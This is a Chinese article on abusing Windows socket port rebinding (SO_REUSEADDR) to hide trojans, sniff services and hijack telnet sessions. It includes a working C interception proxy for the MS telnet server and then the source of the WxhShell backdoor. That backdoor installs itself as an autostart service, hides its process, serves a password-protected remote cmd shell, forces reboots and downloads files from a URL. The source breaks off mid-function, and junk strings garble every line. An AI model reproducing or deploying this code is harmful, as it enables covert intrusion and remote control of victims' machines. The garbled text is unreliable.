在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4N{5i) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/woC{J)4p <N}*|z7=b saddr.sin_family = AF_INET;
![CF
>:e :MbD=sX saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZK8I f?SD hD!9[Gb bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
os~}5QJ KM jnY2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)'Yoii{dSU 7<p?E7 这意味着什么?意味着可以进行如下的攻击:
Fl;!'1 FST}:*dOe5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9a;8^?Ld%S &nX,)" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=as\Tp#d bhg
OLh# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Xsit4Ma gP 6`q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
c0M>CaKD J0a#QvX! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$dgez#TPL #Y'svn1H 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2*1FW v 6h_OxO&!U 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\QKr2| kx_PMpc #include
JU\wvP5j #include
jXALN #include
.7Lv #include
n`af2I2 DWORD WINAPI ClientThread(LPVOID lpParam);
gdVajOAu int main()
0&k!=gj:>Z {
cgvD>VUw WORD wVersionRequested;
6q]`??g. DWORD ret;
JD1D( WSADATA wsaData;
$bi@,&t; BOOL val;
m"RE[dQ SOCKADDR_IN saddr;
>iIUS SOCKADDR_IN scaddr;
6ISDY>p int err;
L.M|o SOCKET s;
q\gvX
76a SOCKET sc;
mbm|~UwD int caddsize;
;%tu; HANDLE mt;
&}/h[v_#' DWORD tid;
oy!Dm4F wVersionRequested = MAKEWORD( 2, 2 );
ZFsJeF'" err = WSAStartup( wVersionRequested, &wsaData );
A7X-),D if ( err != 0 ) {
|~I- printf("error!WSAStartup failed!\n");
'ffOFIz|=I return -1;
|L"!^Y#=D }
h]z>H~.<* saddr.sin_family = AF_INET;
Jxy94y* b 7%O[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
N>J"^ GX ~0~f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
OK"B`* saddr.sin_port = htons(23);
,J0BG0jB^u if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wRi` L7 {
xHMbtY printf("error!socket failed!\n");
K@PQLL#yJp return -1;
:x<'>)6 }
xjDV1Xf* val = TRUE;
x3>PM]r(V //SO_REUSEADDR选项就是可以实现端口重绑定的
1~#2AdG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
g~AOKHUP {
8x J]K printf("error!setsockopt failed!\n");
4z##4^9g return -1;
w
9mi2= }
'9#O#I&J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5V{zdS= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/Xds+V^Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
SdTJ?P+m <_tkd3t#W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
CrIt h/Z {
'l}T_7g ret=GetLastError();
~<, QxFG5 printf("error!bind failed!\n");
!7O!)WJ return -1;
"""gV)Y }
$"/xi ` listen(s,2);
4mY(* 2:HC while(1)
1L=6Z2*fB4 {
G#pRBA^ caddsize = sizeof(scaddr);
u{o!#_o64 //接受连接请求
e:~r_,K sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
iJ rF$Xw if(sc!=INVALID_SOCKET)
F9Ag687w {
9w=GB?/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-&ic%0|f if(mt==NULL)
6O>GVJbw {
PmGW\E[ni printf("Thread Creat Failed!\n");
z|V5/" break;
a3<.F&c+c }
U Ux] }
c_fx,;
; CloseHandle(mt);
2y&m8_s-p }
Z/wKUK; closesocket(s);
D{{ME8 WSACleanup();
`KgWaf- return 0;
Y70[Nz }
eL-9fld/n DWORD WINAPI ClientThread(LPVOID lpParam)
65ctxxWv1 {
ZgcJxWC< SOCKET ss = (SOCKET)lpParam;
hZ0CnY8 ' SOCKET sc;
.#,!&Lt unsigned char buf[4096];
aF9p%HPDw SOCKADDR_IN saddr;
?_L)|:WL long num;
{/C
\GxH+ DWORD val;
5xm^[o2#y DWORD ret;
}T?0/N3y& //如果是隐藏端口应用的话,可以在此处加一些判断
wW~y?A"{2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
q}PeXXH saddr.sin_family = AF_INET;
3K/32Wi saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
d_j%
,1-# saddr.sin_port = htons(23);
/-qSYS( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:[1^IH(sb {
)5}=^aqd printf("error!socket failed!\n");
W -Yv0n3 return -1;
(hB&OP5Fne }
=7JvS~s val = 100;
t?:} bw+m if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H+`s#'(i_P {
UvSvgDMl ret = GetLastError();
)")_aA return -1;
Awo H d7M }
(6R^/*-o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@hlT7C)xK {
|&+0Tg~ZE ret = GetLastError();
hpD\, return -1;
y\DR,$Py }
hE41$9?TJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
F_9e ju^| {
d;3/Vr$t= printf("error!socket connect failed!\n");
6q[|U_3I@ closesocket(sc);
BitP?6KX closesocket(ss);
B&~#.<23: return -1;
4L RrrW }
vps</f! while(1)
v2e*mNK5 {
prvvr;Ib //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
phu`/1;p //如果是嗅探内容的话,可以再此处进行内容分析和记录
.Vm!Ng )j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
d%:B,bck num = recv(ss,buf,4096,0);
2NHkK_B1P if(num>0)
M^c`j#NQ send(sc,buf,num,0);
o5 UM)g else if(num==0)
+>#SB"' break;
$niJw@zC num = recv(sc,buf,4096,0);
zI5#'<n if(num>0)
Zl69d4vG send(ss,buf,num,0);
M]O
_L else if(num==0)
"K3"s Ec% break;
nyyKA_#:5 }
"+oP((9 closesocket(ss);
i`3h\ku closesocket(sc);
[Bn C_^[W return 0 ;
UQ;ymTqdc }
=.=4P~T& V
_(L/6 Lo^0VD!O ==========================================================
|H`}w2U[j #-xsAKi 下边附上一个代码,,WXhSHELL
OOzk@j^ +FD"8 ^YC ==========================================================
:Ve>tZeW &b[.bf #include "stdafx.h"
xV&c)l>} <j}n/G] #include <stdio.h>
_i_^s0J #include <string.h>
dzIcX*" #include <windows.h>
e6E{l #include <winsock2.h>
+gZg7]!Z #include <winsvc.h>
{tUjUwhz( #include <urlmon.h>
&cDLSnR Hc`)Q vFRW #pragma comment (lib, "Ws2_32.lib")
!~+"TI}_%w #pragma comment (lib, "urlmon.lib")
'R&Y pR WmO.&zp #define MAX_USER 100 // 最大客户端连接数
]JQ7x[ #define BUF_SOCK 200 // sock buffer
{BkTJQ) #define KEY_BUFF 255 // 输入 buffer
C-i9F%.. OF [y$<jM #define REBOOT 0 // 重启
Sz_bjh yT} #define SHUTDOWN 1 // 关机
)Gf"#TM[ ch|4"&g #define DEF_PORT 5000 // 监听端口
bC_qoI< K(&I8vAp #define REG_LEN 16 // 注册表键长度
KIY/nu
#define SVC_LEN 80 // NT服务名长度
tPv3nh en6Kdqe // 从dll定义API
5Lmhip typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}V20~ hi typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
qH#?, sK ^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F1m 1% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
W7bA#p( ( v<l9}! // wxhshell配置信息
0GEM3~~D.? struct WSCFG {
q"Ct=d int ws_port; // 监听端口
RO>3U2 char ws_passstr[REG_LEN]; // 口令
uY{zZ4iw int ws_autoins; // 安装标记, 1=yes 0=no
}BTK+Tk8 char ws_regname[REG_LEN]; // 注册表键名
Un[olp char ws_svcname[REG_LEN]; // 服务名
s"hSn_m char ws_svcdisp[SVC_LEN]; // 服务显示名
W6~aL\[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
e70#"~gt[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_ELuQ>zM]+ int ws_downexe; // 下载执行标记, 1=yes 0=no
#~3$4j2U(y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
iME)Jl& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!V<c:6" #b u]@/ };
<OX_6d *@ 3X&'hz@ // default Wxhshell configuration
O!uZykdX4! struct WSCFG wscfg={DEF_PORT,
x;Qs_"t];3 "xuhuanlingzhe",
I},]Y~Y3 1,
DrAp&A|WV| "Wxhshell",
T;7=05k<_ "Wxhshell",
1!(Og~#( "WxhShell Service",
`^:>sU "Wrsky Windows CmdShell Service",
r#8t@W "Please Input Your Password: ",
vy:-a G 1,
GSHJ?}U, "
http://www.wrsky.com/wxhshell.exe",
%pikt7,Z~ "Wxhshell.exe"
pr\wI?:k };
$w,O[PIi '?j[hhfB- // 消息定义模块
2O|jVGap5x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f*Z8C9) char *msg_ws_prompt="\n\r? for help\n\r#>";
OTgctw1s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
i5PZ )& char *msg_ws_ext="\n\rExit.";
Ijg//= char *msg_ws_end="\n\rQuit.";
*Sd}cDCO% char *msg_ws_boot="\n\rReboot...";
49('pq?D char *msg_ws_poff="\n\rShutdown...";
jN3K=
MA char *msg_ws_down="\n\rSave to ";
,, 8hU7P 3shRrCL0mf char *msg_ws_err="\n\rErr!";
N>zpxU { char *msg_ws_ok="\n\rOK!";
35q4](o9" 1/JtL>SKE char ExeFile[MAX_PATH];
9i6z p' int nUser = 0;
)JNUfauyT HANDLE handles[MAX_USER];
m`;dFL7"E int OsIsNt;
(]_smsok ^bD)Tg5K SERVICE_STATUS serviceStatus;
*Z9Rl> SERVICE_STATUS_HANDLE hServiceStatusHandle;
DGc5Lol~ 9Dat
oi // 函数声明
!^[i"F:G int Install(void);
`;`fA|F^ int Uninstall(void);
VVd9VGvh int DownloadFile(char *sURL, SOCKET wsh);
[6ycs[{! int Boot(int flag);
OON]E3yy void HideProc(void);
*KMW6dg; int GetOsVer(void);
Gy]ZYo( int Wxhshell(SOCKET wsl);
6dH> 0l void TalkWithClient(void *cs);
(+(YQ2 int CmdShell(SOCKET sock);
.eBo:4T!d int StartFromService(void);
]'.D@vFGO int StartWxhshell(LPSTR lpCmdLine);
Kia34 ~W !t;B.[U * VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#<$pl]>}t VOID WINAPI NTServiceHandler( DWORD fdwControl );
+.czj,Sq 0Z.X;1= // 数据结构和表定义
-`f 1l8LD2 SERVICE_TABLE_ENTRY DispatchTable[] =
%%-?~rjI {
=<BPoGs5 {wscfg.ws_svcname, NTServiceMain},
S9
p*rk~ {NULL, NULL}
h^B~Fv>~ };
$D][_ I M~?2g.o'D // 自我安装
jqzG=/0~{ int Install(void)
6"o,)e/z {
'DhH:PR char svExeFile[MAX_PATH];
9} *Pb6 HKEY key;
lH%%iYBM strcpy(svExeFile,ExeFile);
tM:%{az o8RVmOXe // 如果是win9x系统,修改注册表设为自启动
7hzd. if(!OsIsNt) {
1B0+dxN` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%2I >0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v1R t$[ RegCloseKey(key);
VYo2m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FjU
-t/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a>o]garB+ RegCloseKey(key);
WC7ltw2 return 0;
MnPk+eNJm }
yq=rv$.s }
JS!`eO/8 }
-"CXBKHb
else {
E,}(jAq7 Tlar@lC|u // 如果是NT以上系统,安装为系统服务
nOm-Yb+F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
V[#$Sz[G if (schSCManager!=0)
b(HbwOt~3 {
K ; eR) SC_HANDLE schService = CreateService
(i.7\$4 (
/5wIbmz@I schSCManager,
)azK&f@tR| wscfg.ws_svcname,
W<c95QD. wscfg.ws_svcdisp,
|?gO@?KDZ SERVICE_ALL_ACCESS,
F*4zC@; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ivx]DXR| SERVICE_AUTO_START,
}2]m]D@%7 SERVICE_ERROR_NORMAL,
l+r3|b svExeFile,
;CtTdr NULL,
%7v!aJ40 NULL,
s?yl4\]Muf NULL,
bSkr:|A7 NULL,
])9|j NULL
v.!e1ke8D* );
Q/%]%d if (schService!=0)
x4N*P {
=J GL~t? CloseServiceHandle(schService);
qa>H@`P CloseServiceHandle(schSCManager);
~(x"Y\PEu strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
dcH@$D@~S strcat(svExeFile,wscfg.ws_svcname);
^Z>Nbzr{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{3qlx1w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&~&oB;uR RegCloseKey(key);
cna/?V return 0;
B1k;!@@14 }
}8Yu"P${Y }
V6!1(| CloseServiceHandle(schSCManager);
`L
m9!? }
'E)g )@^ }
#JYH5:* ?m\?
# return 1;
08qM?{zo^ }
-%ftPfm ,382O$C // 自我卸载
9YvK<i&I int Uninstall(void)
^JY,K {
pmuT7*<19 HKEY key;
yt{?+|tXU )1E#'v12" if(!OsIsNt) {
Ca}V5O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H{,qw%.|KA RegDeleteValue(key,wscfg.ws_regname);
^US ol/ RegCloseKey(key);
s(8e)0Tl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'&!:5R5 9 RegDeleteValue(key,wscfg.ws_regname);
c2Yrg@) [ RegCloseKey(key);
pC/13|I return 0;
aXgngwq }
.YlhK=d4 }
_W }
$g!iy'4n* else {
{:TOm0eK \qkb8H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
560`R> if (schSCManager!=0)
#By~gcN {
:zQNnq:| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
D}OhmOu3 if (schService!=0)
VJSkQ\KD {
<T`&NA@%~$ if(DeleteService(schService)!=0) {
Y<;KKD5P'j CloseServiceHandle(schService);
` 1vDp. CloseServiceHandle(schSCManager);
+QA|]Y~! return 0;
c@x6<S%* }
M&}_3 CloseServiceHandle(schService);
f/670Acv }
"]}?{2i;
CloseServiceHandle(schSCManager);
CE7{>pl }
#b@ sV$ }
Gg y7xb 5"&=BD~D return 1;
.\7AJB\l }
~BC~^D&WD 2.
f8uq // 从指定url下载文件
W=I~GhM int DownloadFile(char *sURL, SOCKET wsh)
Wrf+5 ;,, {
4l@aga HRESULT hr;
J]5ZWo% char seps[]= "/";
OU[ FiW-E char *token;
|&_(I char *file;
Vx%!j& char myURL[MAX_PATH];
V?- ]ZkI char myFILE[MAX_PATH];
q"u,r6ED 7`SrqI& strcpy(myURL,sURL);
c!a1@G token=strtok(myURL,seps);
g4Nl"s*~ while(token!=NULL)
fF^A9{{BS {
XBm ^7' file=token;
:KI0j%>2y token=strtok(NULL,seps);
h$#|s/ }
(s,u9vj=>L $msf~M* GetCurrentDirectory(MAX_PATH,myFILE);
5s:g(gy3BR strcat(myFILE, "\\");
-Yg?@yt strcat(myFILE, file);
=kb/4eRg send(wsh,myFILE,strlen(myFILE),0);
BFQ`Ab+ send(wsh,"...",3,0);
=%d.wH?dZ/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9>/:c\q+ if(hr==S_OK)
'H(khS return 0;
:8U@KABH@h else
5P[urOvV return 1;
dMK\ y4#i 1IN^,A]r2h }
xiO10:L4 N~%~Q // 系统电源模块
^L-; S int Boot(int flag)
~iJ@x;` {
#:=*n(GT HANDLE hToken;
ok{
F=z TOKEN_PRIVILEGES tkp;
?:3rVfO :'sMrf_EA if(OsIsNt) {
Je~`{n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q>m[vvt" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
gT2k}5d}p tkp.PrivilegeCount = 1;
.$ xTX' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
hw1J <Pl* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
l%#z if(flag==REBOOT) {
ZOy^TR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
G|j8iV O return 0;
Go
!{T }
`!C5"i8+i2 else {
PoZxT-U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FSb4RuD9 return 0;
6SEq 2 }
$1n\jN }
$*C'{&2 else {
yc0_7Im? if(flag==REBOOT) {
-Xt0=3, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^-,@D+eW return 0;
Nc*z?0wP }
f\~A72- else {
ivvm.7{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
lL*"N|Y return 0;
v\R-G }
f`-UC_(; }
|3Bmsd/3 s} oD?h:T3 return 1;
_f@nUv*
}
2Zr,@LC i!+0''i{# // win9x进程隐藏模块
~N8$abQJV void HideProc(void)
m{by% {
YXDuhrs} Q1P=A:*]9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
l8+;)2p! if ( hKernel != NULL )
7w.9PNhy {
hlGrnL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
.Ix[&+LsY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]%+T+zg(Y FreeLibrary(hKernel);
beFD}` }
G=&nwSL b5W(}ka+ return;
9lB$i2G>Zw }
;]_h")4"c '6GW.; // 获取操作系统版本
c:2LG_mQ int GetOsVer(void)
[#;CBs5o {
{`V ^V_ OSVERSIONINFO winfo;
|D1TSv}rZD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
l a>H& GetVersionEx(&winfo);
9
OZXs2~x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7Jn%c<s return 1;
%jxeh.B3B else
5RR4jX] return 0;
ageTv/ }
qb+Gjgp g])iU9)8 // 客户端句柄模块
,OBJ>_5 int Wxhshell(SOCKET wsl)
.DHQJ|J-1 {
0HDL;XY6 SOCKET wsh;
B:(a?X-7 struct sockaddr_in client;
z,(.` %h DWORD myID;
=$uSa7t# F87c?Vh)K while(nUser<MAX_USER)
6!v$"u|[!' {
Rl n% Y int nSize=sizeof(client);
eDsc_5I wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0+Q;a if(wsh==INVALID_SOCKET) return 1;
=21m|8c K$5mDScoJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
sv2XD}} if(handles[nUser]==0)
[!U!
Z'i closesocket(wsh);
N_?15R7h else
>`I%^+z nUser++;
13f'zx(AO }
Uac.8wQh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?4#wVzuzA 9)D9'/{L# return 0;
tfVlIY< }
~$m:j]; l{hO"fzy // 关闭 socket
ISg-?h/ void CloseIt(SOCKET wsh)
'LC0hoV {
?%Gzd(YEY closesocket(wsh);
f s2}a nUser--;
NV`=T?1[5 ExitThread(0);
r>J%Eu/O }
d?)Ic1][ nT=XWM // 客户端请求句柄
~xf uq{L; void TalkWithClient(void *cs)
KU;J2Kt {
83_vo0@<6 C9n*?Mk: SOCKET wsh=(SOCKET)cs;
TsY
nsLQY char pwd[SVC_LEN];
a!\^O).pA char cmd[KEY_BUFF];
(;(2n;i[M char chr[1];
WMnxN34 int i,j;
)3)x/WM 3 V$
\s8 while (nUser < MAX_USER) {
,e;_
Vb afd.v$63 if(wscfg.ws_passstr) {
synueg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qq>Qi (> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7towjwr //ZeroMemory(pwd,KEY_BUFF);
vCn\_Nu;W& i=0;
~=?^v[T1 while(i<SVC_LEN) {
d Y`P JN3&(t // 设置超时
#Ht;5p>5 fd_set FdRead;
ko6[Ej:TBo struct timeval TimeOut;
{~ 1
~V FD_ZERO(&FdRead);
5W(`lgVs, FD_SET(wsh,&FdRead);
/}nq?Vf TimeOut.tv_sec=8;
]fJ9.Js TimeOut.tv_usec=0;
-=)+)9~G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Q; BD|95nl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
p_CC KU M2LW[z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&0SgEUZr pwd
=chr[0]; Nh1,
w
if(chr[0]==0xd || chr[0]==0xa) { *kt%.wPJ
pwd=0; fr8hT(,s)
break; T*92 o:^
} O}X@QG2_
i++; cpM]APF-
} aMaqlqf
U3t)yr h
// 如果是非法用户,关闭 socket ,soXX_Y>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /@@?0xjX
} \omfWWpK
BQ(sjJ$v6F
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lhB;jE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /l;_ xs
)u]1j@Id
while(1) { #=#bv`
60r0O5=|Fl
ZeroMemory(cmd,KEY_BUFF); `Db%:l^e
8" (j_~;
// 自动支持客户端 telnet标准 [9\Mf4lh#
j=0; %9_jF"
while(j<KEY_BUFF) { W/u_<\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N\85fPSMG|
cmd[j]=chr[0]; )5w# n1
if(chr[0]==0xa || chr[0]==0xd) { kcE86Y=|x!
cmd[j]=0; +q] kpkG!
break; U|v@v@IBA
} +5H1n(6)
j++; UDV6 ##$
} fcw/l,k9
`2n%Lo?_
// 下载文件 !XO"lS
if(strstr(cmd,"http://")) { ,$"T/yYer
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &"clBRVg
if(DownloadFile(cmd,wsh)) L<p.2[3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >z k6{kC
else wPaMYxO/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
DlQ*'PX7
} :xC1Ka%~
else { l|fb;Giq=D
_7,4C?
switch(cmd[0]) { ,{BF`5bn|
S(G&{KG
// 帮助 G1ED=N_#
case '?': { jk1mP6'P|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mw~$;64;a
break; a~F\2`Q
} XRXQ
7\n
// 安装 K.42 VM)F
case 'i': { [k60=$y
if(Install()) Xe@:Aun
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N`+@_.iBX
else $mn+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wa$Q8/
break; Sb?HRoe_
} 'y|p)r"
// 卸载 AP0z~e
case 'r': { X9o6} %Y
if(Uninstall()) )u.%ycfeV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %+L3Xk]m'
else W.?EjEx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pW-aX)\DR
break; BP8jReX^
} 3Cg0^~?6-
// 显示 wxhshell 所在路径 j0A9;AP;;C
case 'p': { Og2G0sWRf
char svExeFile[MAX_PATH]; '(SqHP|8&g
strcpy(svExeFile,"\n\r"); jB3Rue:+g
strcat(svExeFile,ExeFile); SlD7 \X&~
send(wsh,svExeFile,strlen(svExeFile),0); N==Y]Z$G
break; W4]jx]
} g.COKA
// 重启 b21@iW
case 'b': { iV.j!H7o
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'J_6SD
if(Boot(REBOOT)) :F
pt>g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ah15,<j
else { +]0/:\(B
closesocket(wsh); FTcXjWBPF9
ExitThread(0); htOVt\+!34
} k<k@Tlo
break; =S|dzgS/
} l*+9R
// 关机 Jv59zI
case 'd': { 3EA`]&d>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h8:5[;e
if(Boot(SHUTDOWN)) *q0vp^?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |I s"ov
else { +H
"j-:E@t
closesocket(wsh); Us4#O&
ExitThread(0); o=Ia{@
} $zJ!L
break; !Er)|YP
} 6yedl0@wa!
// 获取shell h&<>nK
case 's': { SH;:bLk_
CmdShell(wsh); V~S(cO[vj
closesocket(wsh); P5oYv
ExitThread(0); 2t:CK
break; aThvq%;
} H*h4D+Kxv
// 退出 ^%}PRl9
case 'x': { G(MLq"R6U
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R;H>#caJ
CloseIt(wsh); ApqNV
break; diD[/&k#kh
} @hOT<
Uo
// 离开 mxmj
case 'q': { *&$2us0%%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); b2UqN]{
closesocket(wsh); JjnWv7W3$
WSACleanup(); k:*vD"
exit(1); QI6=[
break; %)P)Xb
} <L:}u!
} mEq>{l:
} 'rSJ9Mw"x
[k
// 提示信息 h:{^&d
a
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _TjRvILC
} G!g];7PG(
} `_ )5K u}
A9ZK :i7
return; !'8jy_<9
} Z>J3DH
SfUbjs@a
// shell模块句柄 @~`:sa+H
int CmdShell(SOCKET sock) 0 1:(QJ
{ e+Sq&H!@
STARTUPINFO si; p%- m"u
ZeroMemory(&si,sizeof(si)); h?-M+Ac
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &?3P5dy_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VMJK9|JC[
PROCESS_INFORMATION ProcessInfo; ~A,(D-
char cmdline[]="cmd"; GLa_[9 "
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KKM!($A
return 0; +p0Y*.
} W>J1JaO
osI0m7ws:
// 自身启动模式 K8/I+#j
int StartFromService(void) QUz_2rN^
{ ? io,8
typedef struct ![/ QW
{ YL9Tsw
DWORD ExitStatus; XrN]}S$N
DWORD PebBaseAddress; n[
DWORD AffinityMask; >o!5)\F
